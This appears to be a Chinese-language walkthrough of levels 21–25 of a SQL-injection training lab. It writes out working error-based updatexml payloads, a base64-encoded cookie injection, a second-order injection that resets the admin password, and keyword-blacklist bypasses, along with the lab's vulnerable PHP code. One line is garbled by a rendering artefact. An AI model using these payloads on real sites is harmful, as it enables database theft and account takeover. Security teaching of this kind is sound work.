二十一关
输入admin发现好像没区别
我们来对二十一关进行抓包:
发现它cookie发生了变化,不在是上一关的admin, 而是一串乱码。
这是因为:admin进行了一次 base64编码
$cookee = base64_decode($cookee);
我们可以对它进行一次解码:
发现就是admin。
剩下的和20关相同。只需讲语句转化为base64的加密
将:admin 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) – q
转化为:YWRtaW4gJ2FuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIC0tIHEKCg==
发现:
这是因为 – q在转化的时候容易发生错误,所以我们必须转化一种注释掉后面语句的办法: and ‘1’='1;
让我们分析源码:
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1"
现在我们对该语句进行注入:
$sql="SELECT * FROM users WHERE username=(' 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1') LIMIT 0,1"
观察发现:语句 ‘$cookee’ 中后一个单引号与 and ‘1’='1 结合 从而可以执行 updatexml 语句。
所以:
-
查询库名 admin 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and ‘1’='1
-
查询表名:admin 'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1) and ‘1’='1
-
查询列名:admin 'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1) and ‘1’='1
-
查询数据:admin 'and updatexml(1,concat(0x7e,(select id from emails limit 0,1) , 0x7e),1) and ‘1’='1
第二十二关
查看原代码:
$cookee1 = '"'. $cookee. '"';
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
发现它的包裹方式为 " "
其余与21关相同:
-
查询库名 admin "and updatexml(1,concat(0x7e,(select database()),0x7e),1) and “1”="1
-
查询表名:admin "and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1) and “1”="1
-
查询列名:admin "and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1) and “1”="1
-
查询数据:admin "and updatexml(1,concat(0x7e,(select id from emails limit 0,1) , 0x7e),1) and “1”="1
二十三关
是我们熟悉get传参,
输入 ?id=1’ and 1=2 – q
发现:
它没有识别出 q 所以在这里 注释没有生效。
查看源码,发现:
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
preg_replace:正则替换函数,就能够执行强大的回调函数,加上正则修饰符 /e,实现模板引擎编译(其实就是字符串替换)。在该源代码中如果使用 # 或者 – ,就会被替换为 空 。
又因为:
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
所以使用报错注入:
eg :?id=1’and updatexml(1,concat(0x7e,(select database()),0x7e),1)or ‘1’='1
二十四
我们发现需要进行二次注入:
二次注入:攻击者构造的恶意数据储存在数据库后,恶意数据被读取并进入到sql所导致的注入。
二次注入主要分两步:
-
插入恶意数据:
- 第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留的原来的数据,但是数据本身包含恶意内容。
-
引用恶意数据:
- 在将数据存入数据库后,开发者认为数据是可信的,在下一次需要进行的查询的时候,直接从数据库中提出了恶意数据,没有进行进一步的检验和处理,就会造成sql的二次注入
我们在做二十四题的时候先注册一个账户:admin’# 然后登陆
我们先观察一下它的源码:
<html>
<head>
</head>
<body bgcolor="#000000">
<?PHP
session_start();
if (!isset($_COOKIE["Auth"]))
{
if (!isset($_SESSION["username"]))
{
header('Location: index.php');
}
header('Location: index.php');
}
?>
<div align="right">
<a style="font-size:.8em;color:#FFFF00" href='index.php'><img src="../images/Home.png" height='45'; width='45'></br>HOME</a>
</div>
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
if (isset($_POST['submit']))
{
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row==1)
{
echo "Password successfully updated";
}
else
{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
else
{
echo '<font size="5" color="#FFFF00"><center>';
echo "Make sure New Password and Retype Password fields have same value";
header('refresh:2, url=index.php');
}
}
?>
<?php
if(isset($_POST['submit1']))
{
session_destroy();
setcookie('Auth', 1 , time()-3600);
header ('Location: index.php');
}
?>
</center>
</body>
</html>
if$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
我们发现了新的函数:
mysql_real_escape_string
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- ’
- "
- \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
提示:可使用本函数预防数据库攻击(sql注入)
所以在上述源码中 只有 username 没有使用这个函数,所以只有username可用使用sql注入。
将admin’#放入其中:
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";($pass==$re_pass)
我们发现admin中的 ’ 与前面的 username='admin 形成闭合 # 将后面的语句注释掉;
也就是说如果我们用admin’# 的用户修改密码( p a s s = = pass== pass==re_pass)
就会执行下面的语句:
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";($pass==$re_pass)`
实现更改 admin 的密码。
二十五关
观察源码我们发现:
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
如果使用and 或者 or 注释 , 就会被 preg_replace 替换成 “ ”,
/or/i
i 表示不区分大小写,不论写and还是AND都会被替换掉(or)同理
所以我们可以使用mysql中的逻辑运算符(&& and 和 || or)
?id=1’ && 1=1 – q
注意:&在url中意味着多个传参的意思
所以我们在使用时对&& 进行url编码(%26%26)
所以在url栏输入:?id=1’ %26%26 1=2-- q
继续观察源码:
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
所以联合查询无法使用,可以进行报错注入。
但我们在后续输入?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1) – q
发现
在报错中:
我们发现:information变成了infmation,少了or 被函数给替换了
所以我们可以将information 写为 infoorrmation,经函数替换后变为information
之后就可以进行报错注入。